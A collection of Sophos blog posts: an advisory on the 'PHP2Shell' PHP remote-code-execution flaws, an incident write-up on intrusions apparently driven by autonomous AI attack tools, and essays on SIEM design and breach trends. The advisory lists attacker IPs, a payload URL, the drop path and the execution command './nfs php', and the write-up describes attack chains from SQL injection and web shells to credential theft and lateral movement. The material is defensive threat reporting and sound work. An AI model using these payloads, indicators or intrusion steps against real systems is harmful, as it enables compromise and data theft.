Naked Security

Proof-of-concept exploit released for PHP vulnerabilities (CVE-2026-109618, CVE-2026-109619)

Wed, 21 Oct 2026 00:00:00 +0000

October 28 13:30 UTC: Continued monitoring

Sophos is monitoring third-party reporting of PHP2Shell exploitation but has not confirmed the claims. As of this update, there has been no evidence of exploitation in Sophos customer telemetry.

Due to the widespread use of PHP, a successful exploit would be a likely addition to toolkits for threat actors conducting targeted attacks. Upgrading to PHP versions that address the PHP2Shell vulnerabilities (CVE-2026-109618 and CVE-2026-109619) remains the best defense.

The Sophos blog post "The breachpocalypse is here" discusses the implications of PHP2Shell and other compromises and vulnerabilities observed in October.

October 23 19:31 UTC: Full list of Sophos countermeasures

In response to requests, this update consolidates the Sophos countermeasures that relate to the PHP2Shelll vulnerabilities.

SophosLabs has developed the following countermeasures to specifically detect activity associated with this threat.

Name	ID	Platform
SERVER-WEBAPP PHP serialized integer key collision remote code execution attempt	67359, 67360, 67375	Sophos Firewall IPS
PHP2Shell CVE-2026-109618 / CVE-2026-109619 Remote Code Execution Vulnerabilities	213184, 213185, 213187, 213188, 213189	Sophos Firewall IPS, Endpoint IPS
VID444662 Unusually Long Filename in HTTP POST Request Body Detected - Inbound (CVE-2026-109618 CVE-2026-109619) - PHP2Shell	62983	iSensor
VID444662 PHP Code Injection via Filename Parameter Detected - Inbound (CVE-2026-109618 CVE-2026-109619) - PHP2Shell	62986	iSensor
VID444662 PHP RCE via OOM Corruption Attempt Detected - Inbound (CVE-2026-109618) - PHP2Shell	62988	iSensor

The next table lists additional pre-existing Sophos countermeasures that will likely address post-exploitation activity associated with these vulnerabilities.

Name	ID	Platform
Webshell Postexploitation Activity	Not applicable	Sophos Protection for Linux
Ingress Tool Transfer	Not applicable	Sophos Protection for Linux
Suspicious Interactive Shell	Not applicable	Sophos Protection for Linux
Advanced Webshell Detection (optional coverage)	Not applicable	Sophos Protection for Linux
Compromised Web Server (optional coverage)	Not applicable	Sophos Protection for Linux
Php-cgi.exe launching suspicious process through IIS	Access_1b	Sophos Endpoint and Server Protection (Windows)
Malicious child-process activity involving cmd.exe, powershell.exe or certutil.exe in a covered PHP server process chain	Access_3b	Sophos Endpoint and Server Protection (Windows)
WIN-DET-PERSIST-WEBSHELL-W3WP-SUSP-CHILD-1	Not applicable	Sophos XDR
WIN-DET-T1190	Not applicable	Sophos XDR
WIN-CAC-PSH-WEBCLIENT-UPLOAD-1	Not applicable	Sophos XDR
WIN-DIS-PRC-SUSP-WEB-SERVER-1	Not applicable	Sophos XDR
WIN-DIS-PRC-SUSP-WEB-SERVER-1-LOW	Not applicable	Sophos XDR
WIN-EXE-PRC-PHP-EXE-IN-SUSPICIOUS-PATH-1	Not applicable	Sophos XDR
WIN-EXE-PRC-PHP-EXE-IN-SUSPICIOUS-USERS-PATH-1	Not applicable	Sophos XDR
WIN-EXE-PRC-PHP-EXE-IN-SUSPICIOUS-USERS-PATH-1-HIGH	Not applicable	Sophos XDR
WIN-EXE-PRC-RENAMED-PHP-EXE-1	Not applicable	Sophos XDR
WIN-PER-PRC-WEBSHELL-SPAWN-SUS-PROCESS-1	Not applicable	Sophos XDR
UNX-CAC-PRC-PARENT-WGETPHP-DOWNLOAD-1	Not applicable	Sophos XDR
UNX-CAC-PRC-PHP-REVERSE-SHELL-1	Not applicable	Sophos XDR
PHP-CGI Remote Code Execution	Not applicable	Taegis/Fusion XDR
PHP-CGI Exploitation	Not applicable	Taegis/Fusion XDR
RESEARCH: PHP-CGI Exploitation 3	Not applicable	Taegis/Fusion XDR
RESEARCH: PHP-CGI Executes Multiple Discover Commands	Not applicable	Taegis/Fusion XDR
Potential PHP-FPM Exploit Command Line Activity	Not applicable	Taegis/Fusion XDR
RESEARCH: PHP or Java Process Downloading via Wget or Curl	Not applicable	Taegis/Fusion XDR
PHP Web Shell Executing Command	Not applicable	Taegis/Fusion XDR
PHP Web Shell Activity	Not applicable	Taegis/Fusion XDR

October 23 15:35 UTC: Note about additional PHP vulnerability and new PHP2Shell countermeasures

On October 23, PHP released an informational advisory disclosing another remote code execution vulnerability (CVE-2026-115560). The advisory states that the issue requires “an unusual combination of configuration and application code” and that mitigations published for PHP2Shell vulnerability CVE-2026-109619 also address this threat. Sophos will continue to monitor the vulnerability and will release updated information and additional countermeasures as appropriate.

SophosLabs has also released additional PHP2Shell countermeasures, specifically Sophos Firewall and Endpoint IPS signatures 213184, 213185, 213187, 213188, and 213189.

October 22 21:21 UTC: Correction and new insights, countermeasures, and indicators

The previous update (October 22 16:18 UTC) reported that Sophos observed successful exploitation of PHP2Shell in customer environments. Upon further analysis, we are correcting that assessment as Sophos customer telemetry shows scanning and a small number of failed exploitation attempts. As of this update, there is no evidence of a successful compromise due to these vulnerabilities.

The payload, a likely Mirai botnet variant known as Potassium, was not delivered since the exploitation attempt was unsuccessful due to being blocked by Sophos countermeasures. However, analysis of the sample revealed that is an updated and significantly expanded version of the Mirai-derived botnet variant identified in early 2026. The sample displays downloader and network disruption functionality. It resolves a hard-coded, encrypted C2 address; establishes a TCP connection to 134[.]199[.]154[.]64; and sends an HTTP request. It checks for an HTTP 200 response status and verifies that the resulting payload begins with the ELF magic bytes 7F 45 4C 46, indicating that it expects to retrieve a Linux ELF follow-on payload. A resolver function supports IPv4 addresses and hostname resolution, with additional fallback resolution logic that includes hard-coded public DNS servers such as 8.8.8.8, 1.1.1.1, and 1.0.0.1. As with Mirai malware historically, this sample can execute DDoS attacks.

Sophos analysis of the vulnerabilities suggests that developing a successful exploit is not straightforward. The Sophos Adversary Group has been attempting to produce a successful exploit, which is proving challenging even with AI support. The lack of successful exploits in the wild suggests threat actors are also struggling. Security researchers have claimed they have developed successful exploits, but it is possible these only work in lab scenarios rather than real-world environments. Successful exploitation may also require certain dependencies or configurations. Despite the low level of activity, the vulnerabilities remain serious. Given time, threat actors may develop successful exploits. Urgent patching remains the primary recommendation.

The following new Sophos countermeasures relate to this threat:

Sophos Firewall IPS signatures 67359, 67360, 67375, 2313184, 2313185, 2313187 and 2313188
Sophos Endpoint IPS signatures 2313184, 2313185, 2313187, 2313188 and 2313189

These join existing Sophos endpoint XDR, Taegis XDR, Windows Behavioral Protection, and Linux Runtime Detection rules.

CTU researchers also associate the additional indicators in the following table with this activity. IP addresses can be allocated. The domains and IP addresses may contain malicious content, so consider the risks before opening them in a browser.

Indicator	Type	Context
134[.]199[.]154[.]64	IP address	C2 server for Potassium, a likely Mirai variant
117[.]55[.]202[.]115	IP address	C2 server for Potassium, a likely Mirai variant
hackattackkaboom[.]botlesscucks[.]st	Domain name	Malware staging server used by PHP2Shell-related payload
hik[.]gettingheadfromduckysmom[.]st	Domain name	Potassium infrastructure embedded in PHP2Shell-related payload

October 22 16:18 UTC: Sophos observations, exploitation activity, countermeasures, and indicators

These two vulnerabilities are now widely referred to as “PHP2Shell”. Proof-of-concept exploit code is publicly available, and Sophos threat hunters have identified multiple exploit attempts consistent with PHP2Shell activity and one successful exploitation. While Sophos analysis have concluded that exploitation of these vulnerabilities is viable, successful follow-on remote code execution depends on deployment architecture, PHP version, and configuration. As of this update, Sophos analysts have not observed evidence linking the activity to ransomware deployment, data theft, or supply chain compromise.

In activity observed by Sophos threat hunters, activity originated from IP address 45[.]198[.]224[.]169 and delivered a payload that appears to be a Mirai variant known as Potassium. The traffic included a User-Agent string that referenced scanning activity, a multipart boundary string, and a distinct POST request pattern. The activity resulted in a payload being written to /tmp/nfs and executed as ./nfs php.

The following threat indicators were observed by Sophos analysts.

Indicator	Type	Context
45[.]198[.]224[.]169	IP address	Source of PHP2Shell exploit attempt
92[.]118[.]112[.]100	IP address	Hosting payload associated with PHP2Shell exploitation activity
hxxp://92[.]118[.]112[.]100/nfs	URL	Location of payload associated with PHP2Shell exploitation activity
thunder[.]godofthunder[.]st	Domain name	Contacted by PHP2Shell-related malware sample during sandbox analysis
b61a098fc62a2c2696e196dca78da71a	MD5 hash	Likely Mirai variant downloaded in PHP2Shell exploitation
c472dab4ff7c16782a8037f988d4daa6d4bdb343	SHA1 hash	Likely Mirai variant downloaded in PHP2Shell exploitation
0c5486f06620e26e316f4b33f318b0d646d5e1133789331aa2fed012360d1486	SHA256 hash	Likely Mirai variant downloaded in PHP2Shell exploitation
/tmp/nfs	File path	Location on compromised system where PHP2Shell exploit drops payload
./nfs php	Command	Used to execute PHP2Shell payload
php2shell-scan/109618	User-Agent	Observed in PHP2Shell exploit traffic
B7kQpoc618	String	Multipart boundary observed in PHP2Shell exploit request

The following Sophos countermeasures relate to activity associated with PHP2Shell:

UNX-CAC-PRC-PARENT-WGETPHP-DOWNLOAD-1
UNX-CAC-PRC-PHP-REVERSE-SHELL-1
WIN-CAC-PSH-WEBCLIENT-UPLOAD-1
WIN-DIS-PRC-SUSP-WEB-SERVER-1
WIN-DIS-PRC-SUSP-WEB-SERVER-1-LOW
WIN-EXE-PRC-PHP-EXE-IN-SUSPICIOUS-USERS-PATH-1-HIGH
WIN-PER-PRC-WEBSHELL-SPAWN-SUS-PROCESS-1

October 21 17:01 UTC: Monitoring for signs of exploitation

The following behaviors and changes may indicate exploitation of these vulnerabilities:

Network sessions that last longer than usual (Applications running on the PHP service should have a standard pattern of network connections.)
Unusual process names (including misspellings of legitimate names), or seemingly legitimate processes in unexpected locations
Unusual and low-volume inbound traffic from low-reputation infrastructure

October 21 14:28 UTC: Revised version of the original advisory (published at approximately 12:55 UTC) following PHP’s release of updates and additional details

Overview

On October 20, 2026, PHP announced an upcoming security release to address two critical (CVSS score of 9.2) vulnerabilities. Third-party sources identified the vulnerabilities as CVE-2026-109618 and CVE-2026-109619. According to reports, the issues impact multiple PHP versions and allow for remote code execution.

On October 21, PHP released updated versions to address these issues and stated that “all PHP installations serving web requests” are at risk. A user on the X platform claims to have created a working proof-of-concept exploit. As of this publication, active exploitation has not been reported in the wild.

Recommended actions

Counter Threat Unit™ researchers recommend that customers identify potentially vulnerable systems and upgrade as appropriate. In the interim, organizations should consider taking internet-facing PHP-powered systems offline if feasible or putting them behind network-layer authentication (e.g., ZTNA). Additionally, network defenders should evaluate the potential for exploitation in their environment and monitor for suspicious activity. The PHP advisory lists mitigations for organizations who cannot immediately upgrade but notes that updating is the only complete solution.

Sophos countermeasures

SophosLabs continues to monitor the threat landscape for activity related to these vulnerabilities and will deliver detections and protections as available. An internal investigation is also underway to determine if Sophos products or services are affected.

Web App Owners – You’re on Notice. Your Low-Hanging Fruit Just Got Lower

Wed, 21 Oct 2026 00:00:00 +0000

This article is part of an ongoing series from Sophos frontline security operations specialists, sharing the expertise they use to strengthen our industry-leading Managed Detection and Response (MDR) service and defend customers against evolving AI-era threats.

The cybersecurity industry has spent years preparing for attackers who automate reconnaissance, vulnerability scanning, and credential attacks. What is changing now is the degree to which automation can connect those individual activities into a sustained intrusion workflow.

Recent Sophos Incident Response investigations illustrate this shift. The incidents affected unrelated organizations in different industries and relied on different initial-access paths. Yet the operational patterns were strikingly similar: rapid reconnaissance, repetitive testing, credential discovery, privilege-escalation attempts, lateral movement, data-access validation, persistence, and systematic cleanup.

The evidence points to the use of systems consistent with machine-speed tooling likely associated with the use of an AI agent or orchestration framework. There were no user-agent strings, or specific signatures that called out AI-based tools. However, the speed, breadth, repetition, and adaptability observed in the incidents demonstrate why distinguishing between a skilled operator, scripted automation, and an AI-assisted attacker is becoming increasingly difficult.

More importantly, defenders may soon find that the distinction matters less than the outcome.

From Isolated Techniques to an End-to-End Attack Process

Traditional security analysis often examines attacker behavior as a collection of individual techniques:

SQL injection
Web-shell deployment
Credential discovery
Privilege escalation
Remote service access
Lateral movement
Data collection
Log or artifact deletion

Viewed individually, none of these techniques are new. What stood out in these incidents was how quickly they were connected into coherent attack sequences. The environments and access paths were different. The attacker behavior was not. Like any attacker, reconnaissance was performed to identify potential weaknesses in systems. Then, the attacker exploits those weaknesses and moves on to further their objectives.

Incident Pattern One: Database Access Becomes Enterprise Access

In one case, the threat actor turned access to SQL infrastructure into a broader enterprise intrusion.

The observed activity included:

1. Web Application enumeration

The threat actor was observed probing multiple web applications in parallel and attempted to enumerate directories with varying degrees of success. This is typical of blind application scanning when the adversary does not know sub-directories or the layout of the application.

2. SQL and web application probing

Internet-facing systems received repeated SQL injection techniques. This ultimately resulted in the successful enabling of xp_cmdshell. Also notable was that the web application enumeration observed leading up to the successful xp_cmdshell activity stopped.

3. Command execution through database services

Subsequent telemetry showed SQL Server processes launching command shells and PowerShell consistent with the use of xp_cmdshell. The attacker used common discovery commands, tested remote command execution, enumerated linked servers, and assessed whether SQL functionality could be used to reach additional hosts.

4. Privilege-escalation attempts

The attacker staged or executed tooling consistent with token impersonation and service-account privilege escalation. In some instances, output files were used to check whether commands had reached a higher-privileged security context. Several privilege-escalation events were observed from the available telemetry.

5. Credential discovery and collection

Activity included searches through configuration and script files, attempts to save sensitive Windows registry hives, detection of LSASS-related credential access, and inspection of stored credentials and application secrets. Some credential-harvesting activity was blocked by endpoint controls.

6. Lateral movement at scale

The attacker queried administrative shares, tested remote SQL access, used WMI and scheduled tasks, and created remote tasks configured to execute under privileged accounts. Multiple servers were tested in quick succession.

Once xp_cmdshell was enabled, it would execute under the database server account. In this instance, like many others, this was a service account on the server with high privileges. This sequence demonstrates how a service account or database execution context can become a launch point for enterprise-wide discovery. This is not new.

This is typical of activity observed with human operators, but the speed of pivoting and follow-on telemetry pointed to automated actions. A database server may appear to be a specialized application asset, but its network reach, service credentials, linked servers, administrative tools, and access to other systems can make it a powerful pivot point for attackers. From the start of web application enumeration to gaining xp_cmdshell was 1 hour 45 minutes. The time on target until hosts were isolated was 30 minutes.

Incident Pattern Two: A File Upload Becomes a Cloud and Data Access Path

The second investigation followed a different route but produced a similarly broad attack sequence.

Application activity indicated abuse of account-management or password-reset functionality, followed by access to customer-related application data and use of an upload endpoint that accepted server-executable files. The attacker then deployed multiple web shells across several web servers.

Once established, the attacker moved quickly:

1. Web Application enumeration

Like the earlier incident, the threat actor was observed probing multiple web applications in parallel. However, of note, was that once the webshell was uploaded on the first, the scanning of other applications persisted. Ultimately 2 web applications were exploited, however this was the same code-base as it was a dev and prod version of the same site.

2. Web-shell execution

IIS worker processes launched command shells under application-pool identities. The attacker issued identity checks, listed websites and application pools, enumerated users and administrators, and explored accessible directories.

3. Configuration and secret harvesting

The attacker read multiple web.config files and searched for private keys, certificates, deployment profiles, environment files, unattended-installation files, and stored Windows credentials. Not only did this focus on web.config files in the application directories, but it also searched across multiple drives which found Service Principal Names (SPN’s) for applications no longer in use. Those collected SPN’s were later seen attempting logons from suspicious IP addresses.

4. Cloud credential discovery

Commands queried the instance metadata service and attempted to recover temporary cloud credentials. The attacker also compiled and ran a dedicated metadata-access utility on multiple compromised systems.

5. Production database access

Credentials recovered or available in the environment were used to connect to production and staging SQL systems. The attacker enumerated databases and tables and submitted queries. Our investigation noted queries were run, but to obtain meta data about the database and were not observed doing bulk data extraction.

6. Internal service access

The attacker found credentials for an internal file-transfer service, enumerated directories, tested write access, requested several files, and probed the host for additional reachable services. This was associated with internal FTP services and leveraged obtained credentials found stored in plain text files across the systems. Attempts were made to access RDP on multiple remote systems but were unsuccessful.

7. Privilege escalation and cleanup

The attacker retrieved privilege-escalation tooling, staged custom loaders, compiled utilities using software already present in the environment, and later issued commands to delete temporary directories and shell copies.

In this incident, it took the threat actor just over 3 hours to identify and exploit a file upload vulnerability. Once webshells were successfully uploaded and executed, the threat actor remained on target for 1 hour 45 minutes before the affected systems were isolated.

The investigation confirmed web-shell execution, credential and configuration discovery, database-access activity, internal service access, and cleanup attempts. What was also discovered was that a critical business application was running on the same systems as a much older and less critical site. While not directly targeted, the critical application became part of the blast radius when the older and vulnerable site was exploited.

Why This Resembles AI-Assisted Intrusion Activity

In both incidents cited above, threat actors achieved initial access in under 3 hours. A recent Gambit Security report [1] documented a campaign in which open-source AI harnesses performed vulnerability discovery and exploitation against hundreds of online retailers. Between September 10 and September 15, 2026, the researchers identified 105 attack projects and at least 27 organizations compromised to varying degrees. The reported campaign used three components: Strix for vulnerability research, Cairn for autonomous exploitation, and Hermes for orchestration and operator guidance.

According to the report, the tools could receive broad objectives such as obtaining a shell or administrator access and then continue probing for hours with limited human intervention. The campaign reportedly cost an average of approximately $25.46 per completed scan, with attacks against some targets costing only a few dollars.

In the two incidents referenced above, there was no signature that identified this as being performed by an AI-enabled threat actor. To learn more about what we were dealing with, we needed to go to the sources. Using OSINT, we learned that the source systems involved in these incidents were running:

Cairn
CyberStrike AI
Cupcake-C2

Cairn is an open-source AI-driven state-space search engine designed to solve complex goal-oriented problems by exploring possible paths from a known starting state to a desired outcome. The project was initially validated in the domain of autonomous penetration testing but is intended as a more general-purpose problem-solving framework.

CyberStrikeAI is an open-source AI-powered autonomous security testing framework designed to assist with penetration testing and complex security assessments. The project combines large language models (LLMs) with automated decision-making workflows to explore, analyze, and pursue security testing objectives with minimal human intervention.

CupcakeC2 is an open-source Command-and-Control (C2) framework designed for red team operations, adversary emulation, and security research. According to the project's GitHub repository, it features a Rust-based agent, a Go-based server with support for cross-platform operation and integration with the Model Context Protocol (MCP).

These tools, plus the use of web vulnerability scanners and simple http servers that hosted post-exploitation tools such as webshells, and privilege escalation binaries, provide an attacker with the opportunity to exploit internet-facing web vulnerabilities with minimal human interaction that would have been time-consuming to take advantage of years earlier. The two incident-response cases described an environment in which AI-enabled attackers could be highly effective:

Internet-facing applications exposed multiple pathways for exploration.
Application and service accounts had access beyond a single workload.
Configuration files contained or provided access to reusable credentials.
Web servers could initiate connections to internal databases and services.
Native compilers, PowerShell, command shells, and administrative utilities were available.
Similar actions could be repeated rapidly across many systems.
Cleanup commands were issued after tools and persistence mechanisms were tested.

This underpins the importance of everyday cybersecurity hygiene. An autonomous attack agent does not require a previously unknown exploit if the environment exposes enough weakly connected controls. The agent can repeatedly test ordinary weaknesses until several of them form a viable attack path.

The Real Advantage Is Persistence, Not Novelty

AI-enabled intrusion activity should not be understood simply as “faster vulnerability scanning.” Its greater advantage is operational persistence.

A human operator becomes fatigued. A human operator may abandon a difficult target after several failed attempts. An autonomous system can enumerate another directory, decode another configuration file, try the next service, adjust a query, create a small utility, test a different credential, and continue for hours while the human operator rests up or enjoys a cup of tea.

Defending Against the Workflow, Not Just the Tool

Organizations will not reliably identify AI-enabled attacks by searching for an “AI malware” signature. The underlying techniques still appear as familiar operating-system, application, database, and cloud activity. Defenders should instead detect the sequence.

1. Treat application behavior as security telemetry

Authentication, password-reset, file-upload, administrative, and data-export endpoints should produce high-quality audit logs. Repeated requests across account-management and upload functions should be correlated as a single behavioral chain rather than reviewed as unrelated web events.

2. Prevent uploaded files from becoming executable content

User-controlled uploads should be stored outside executable web roots, renamed by the application, validated by content rather than extension, and served from isolated storage where server-side execution is impossible.

3. Remove secrets from configuration files

Application configuration should not expose long-lived database passwords, cloud credentials, private keys, or service-account secrets. Use managed identities or centralized secret stores, apply short credential lifetimes, and rotate any secret exposed to a compromised application host.

4. Restrict application-server egress

Web and database servers should communicate only with explicitly required destinations and ports. A compromised IIS worker process should not be able to query cloud metadata, download arbitrary executables, scan internal networks, or access unrelated administrative services.

5. Monitor abnormal parent-child process relationships

High-value detections include:

Web-server processes launching command shells
Database services spawning PowerShell
Service accounts running reconnaissance utilities
Compilers producing executables in temporary directories
PowerShell loading assemblies from decoded byte arrays
Application processes accessing instance metadata services
Remote scheduled tasks created by database or web-service accounts

6. Detect behavioral sequences

A single whoami command may be inconclusive. A sequence of whoami, network enumeration, configuration-file access, credential search, internal connection attempts, tool staging, and deletion is far more meaningful.

7. Design containment for machine-speed attacks

Containment procedures must account for an attacker that can execute hundreds of actions while a human analyst is still assembling the timeline. High-confidence web-shell or service-account compromise may require automated isolation, credential revocation, cloud-token invalidation, and temporary egress restrictions.

The Defender’s Time Horizon Has Changed

The lesson is that the attack paths that might have once been considered difficult to access and exploit by human operators are now well suited to autonomous execution. An attacker no longer needs to manually investigate every file, endpoint, account, database, and host. AI-enabled tooling can preserve context, adapt commands, interpret output, generate small utilities, and continue testing until it finds the next workable step. These findings suggest this is no longer hypothetical. Autonomous harnesses have been observed conducting substantial portions of real-world intrusion chains at low marginal cost.

Defensive programs built around human attacker speed will struggle in this environment. The answer is not simply more alerts. It is tighter application design, stronger identity boundaries, better segmentation, correlated behavioral detection, and containment capable of operating at comparable speed.

The individual techniques may be familiar. The scale, endurance, and economics are not. Owners of public-facing web applications should take immediate action to review their application architecture, reduce their attack surface, perform a business impact assessment of their applications, conduct Web Application Security Assessments and reduce the risk of a compromise before it’s too late.

Sources:

[1] https://gambit.security/blog-posts/autonomous-ai-agents-online-retailers-25-a-company

Is “SIEM-less” really what it sounds like?

Fri, 23 Oct 2026 00:00:00 +0000

A SIEM is a multipurpose tool. It brings together cyber and physical security use cases; drives threat detection, investigation, and response (TDIR); serves as a system of record for governance, regulatory, and compliance needs; and supports observability use cases tied to resilience and service degradation. The list goes on.

In short, a SIEM is what an organization wants it to be. Therein lies both its strengths and its weaknesses.

The SIEM paradox

A SIEM can be a powerful “single pane of glass.” But that strength comes with two persistent challenges: operational complexity and data-ingestion costs.

Does more data mean better outcomes?

SIEMs store vast amounts of data. As the attack surface expands, organizations keep adding sources. Yet not all data serve the same purpose:

Detection and prevention require one set of data.
Investigations need contextual data to explain what happened.
Audit and compliance depend on evidence retained for reporting and review.

Because teams cannot always predict what they will need in the future, the default is often to ingest everything “just in case.” That is where the problems begin to compound.

Complexity comes first

The first symptoms are operational. Teams must determine which data is useful, why it matters, and how it should be applied in a particular context. Then they must be able to find it, search it, report on it, and turn it into something actionable when the moment comes.

Then comes the bill

Once the operational burden is established, the financial impact follows, often in the form of escalating ingestion costs.

How the SIEM became the center of the SOC

Over time, the SIEM also subsumed technologies that had once stood alone such as threat intelligence platforms, user and entity behavior analytics (UEBA), and security orchestration, automation, and response (SOAR). Each addition promised better context, stronger detection, or a tighter response loop.

Very quickly, the SOC was built around the SIEM, and the SIEM became fossilized in SOC processes and vendors took advantage of the “lock in”. Enter the era of SIEM deconstruction, and with it, the promised benefits of going “SIEM-less.”

Deconstructing the SIEM

Ingestion-based pricing crushing you with costs? Not to worry. Add a smart ingestion pipeline that filters out what you do not need before you store it. While you are at it, run detections in the pipeline. Et voilà, you have reduced storage costs and gained detections along the way.

Need to search the data in place? Add another component that can search across sources by translating queries for each one. Need to triage and investigate all those “detections” to determine what is worth chasing? Add an agentic SOC that promises to automate it all away.

Pretty soon, the collection starts to sound a lot like security information and event management, a SIEM. The difference is that the costs are now spread across individual components. It starts to look like unbundled pricing, where savings in one place create compute costs, or compromises, somewhere else.

The real cost driver: Compute

It is important not to confuse data-ingestion costs with storage costs. Processing data for upstream use cases requires compute; deciding how much data to retain, and for how long, requires storage. Even at today’s storage prices, compute costs dwarf storage costs.

Compute is the real cost driver. It is consumed when data is filtered, indexed for faster retrieval, queried, or used to generate reports. More compute is required when data must be rehydrated, moved from cold storage back into hot storage for analysis. Any or all of these costs can ultimately be passed on to the buyer.

A deconstructed architecture does not eliminate the underlying tasks or the ‘jobs to be done’. They still exist; they are simply carried out differently than they would be in a traditional SIEM.

Is SIEM-less a bad idea?

Actually, no. It can be the right call for an organization with the expertise and resources to build and maintain such a system. These new approaches are reshaping the economics and forcing traditional vendors to rethink their go-to-market strategies.

But a SIEM is ultimately a set of capabilities assembled into an architecture. Over time, every vendor offering one piece of the SIEM-less story will add adjacent capabilities until the resulting offering starts to look like, you guessed it, a SIEM.

Organizations that need a SIEM, therefore, face a practical choice: take the DIY route or invest in a fully integrated system with the right economics. At the end of the day, that choice matters.

So, where does XDR fit into all of this? More on that in my next blog.

The breachpocalypse is here

Mon, 26 Oct 2026 00:00:00 +0000

Seven incidents in seven days

Last week I sent our leadership team a list. In seven days, Sophos' internal SecOps team responded to seven incidents: abuse of one of our products via a trial account, the ConnectWise Cloud Backup compromise, PHP2Shell, the eMudhra weak SubCAs, the second supply-chain compromise of LiteLLM this year, critical Node.js vulnerabilities and a GitLab RCE. A year ago, that would have been a quarter's worth.

We avoided major impact, but only through a concerted effort and some very long hours. Admittedly this is a sample size of one, but from my position protecting a leading cybersecurity vendor, the trend seems pretty clear.

"So where is the impact?"

The counter-argument is that the damage isn't showing up. PHP2Shell has not, so far, become the mass-exploitation event many of us braced for. There has been no "Challenger disaster", Simon Willison's phrase for the headline event that ends our normalisation of deviance. Tal Be'ery found that material-incident filings to the SEC rose only mildly in Q2 and Q3 2026, while high and critical CVEs rose several-fold.

I take that seriously. But we have always been bad at measuring a rising tide until well after it has risen. In 2012, the late Ross Anderson and colleagues counted over 100 sources of cybercrime data, all "insufficient and fragmented." Microsoft researchers showed that one survey respondent claiming $50,000 in losses could produce a $10 billion national estimate. Only in 2019 could Anderson's team confirm what they had guessed in 2012: cybercrime was about half of all crime. Dan Geer noted that 70–80% of breaches are found by third parties, so many victims may never know.

Public health offers a close parallel. Between 1999 and 2017, the US drug overdose death rate more than tripled, reaching 70,237 deaths a year. The toll built up from thousands of individual deaths, each logged by a local coroner, with no single disaster to mark it. The US did not declare a public health emergency until October 2017, and even then the count was off: opioid deaths were undercounted by 20–35% because death certificates often omitted the drug. A plane crash is counted by nightfall. A rising tide of small incidents is counted years later, and badly. Cyber's recent damage has come the same way: a growing stream of smaller incidents, with no mega-incident to count.

There's also some hard-earned mitigation to account for. Vendors, maintainers and security teams have patched at a pace I have never seen; Mozilla alone fixed 271 Firefox bugs from one AI-assisted effort and Sophos' own engineering team have been flat-out on the bugs emerging from our own Glasswing and Daybreak participation. But that doesn't hold below the security poverty line: the organisations lacking the money, expertise, and capability to protect themselves. They don't file 8-Ks or hold IR retainers. The most exposed cohort is also the one we measure worst.

The signals we do have

Operational signals arrive well before formal measurement. On 19 October, former NSA cybersecurity director Rob Joyce wrote that "IR firms are saturated & turning away work." That matches what we see: our own IR function has never been busier and is forecasting an industry-wide capacity crunch.

Similarly, Google Threat Intelligence reported 141 vulnerabilities exploited from January to August 2026, against 127 in all of 2025, and Anthropic research shows that the autonomous attack pattern it documented in 2025 "has now proliferated across every class of actors we investigated."

There is also a reporting asymmetry. Finding vulnerabilities is loud: researchers and AI labs publish counts, such as Project Glasswing's 10,000+ high or critical findings in a month. Incidents are quiet. In Bitdefender's 2026 survey, 55% of professionals who had suffered a breach were told to keep it confidential when they believed it should be reported. People brag about finding bugs. Nobody brags about being breached.

The frontier is jagged for attackers too

AI capability is a jagged frontier: strong at some tasks, surprisingly weak at neighbouring ones. Defenders haven't fully scaled their use of it, and neither have adversaries. RUSI's Will Lyne and Jamie MacColl argue that AI "is not (yet) fundamentally reinventing cybercrime", because criminals change business models only when profits force them to. Be'ery makes a similar case: monetisation and laundering, not vulnerabilities, are the bottleneck.

Both are plausible. A less comfortable view is that the binding constraint is the number of capable criminals, and AI is precisely a way to scale people.

Sophos X-Ops research shows we are at the early-adopter stage. When monitoring underground forums we found a clear knowledge gap: criminals buying brokered API keys and asking each other for basic setup help. A year of our MDR casework found that where attackers used AI, it was "as an assistant with a human in control." Observed adoption trails available capability. That gap describes the start of a curve, and the capability will already be in place when someone finds the business model.

What to do about it

Start with the board. The most useful thing a security leader can win now is agreement to accept some risk elsewhere: legal, regulatory, contractual or financial. That means tolerating some disruption, such as a service switched off or a patch pushed before full testing, to avoid a much larger incident. Mainstream coverage of AI threats is often alarmist and sometimes inaccurate, but it has made boards and CEOs more receptive than usual. Use that attention to secure a mandate; without one, the steps below stall.

Shrink the surface. Remove nice-to-have internet-facing services. Put the rest behind a VPN, ZTNA, or an authenticating proxy, so an unauthenticated exploit can't reach them. Treat identity as attack surface too; phishing-resistant authentication is the equivalent for accounts (see our passkey playbook).
Take humans out of the patching loop. Our AI Security 2026 report found the window from disclosure to exploitation shrinking to hours: Ivanti Sentry (CVE-2026-10520) was exploited within 24 hours of a public proof of concept, and LiteLLM (CVE-2026-42208) within 36. CISA has cut mandatory patching for the highest-risk flaws to three days for federal agencies. Even in the most uptime-sensitive environments, a bad vendor patch is usually the smaller risk. It rolls back in hours; recovery from an incident takes weeks. Turn on automatic updates wherever vendors offer them, and use agents to test and stage the rest.
Eyes on alerts. Autonomous attacks are, so far, noisy and slow against reasonably hardened targets. Microsoft saw one AI-driven campaign peak at 2,900 failed sign-ins a minute. Reuters reported that one hacker using AI agents against more than 1,200 websites typically needed about 23 hours per successful intrusion. This is an opportunity for organisations that have a real response capability. For those that don't, MDR is the quickest way to get there.
Use AI yourself. This matters most. A security team without frontier AI and a decent budget for tokens is fighting with one hand tied behind its back.
1. If you do manage to secure some funding, remember you can scale your existing staff with a clear mandate and generous token allowance far faster than you can hire.
2. Give your agents a chance. We've all seen new-starters spend their first few weeks or even months bogged down in access requests, trying to get the tools necessary to do their job. Agents are no different. This is the hard part culturally, and it is a real risk trade-off. But ask whether largely theoretical risks are outweighing a clear and present danger. The rogue-AI stories in the media matter, yet they mostly come from labs testing long-horizon autonomy at a scale and budget few organisations will match. Joshua Saxe found documented prompt-injection losses to be tiny next to overall cyber losses. Contain agents with sensible boundaries but don't starve them of access.
3. Give the sceptics an opportunity. Many security professionals are not natural early adopters and thus formed their opinions based on their experience of an entry-level enterprise assistant or a consumer chatbot. Give them the right tools, space to play, and a mandate to accept some risk, then reassess.

Where to start

Sometimes the hardest part is getting started. Here are a few ideas we've had success with:

Endpoint gaps. Give an agent your asset inventory sources, org chart and endpoint management console. Ask it to find unprotected or misconfigured devices, including stale exceptions, ranked by risk.
Perimeter exposure. Merge the same asset data with your vulnerability scan results and give it its own fresh AWS account with a remit to find risky perimeter services, spinning up EC2 instances as needed to probe, validate and prioritise findings.
Stalled fixes. Point an agent at your source control, ticketing, documentation, existing product security tooling, org chart, inbox and chat. Ask it to surface unaddressed issues by team, with a timeline of previous communications.
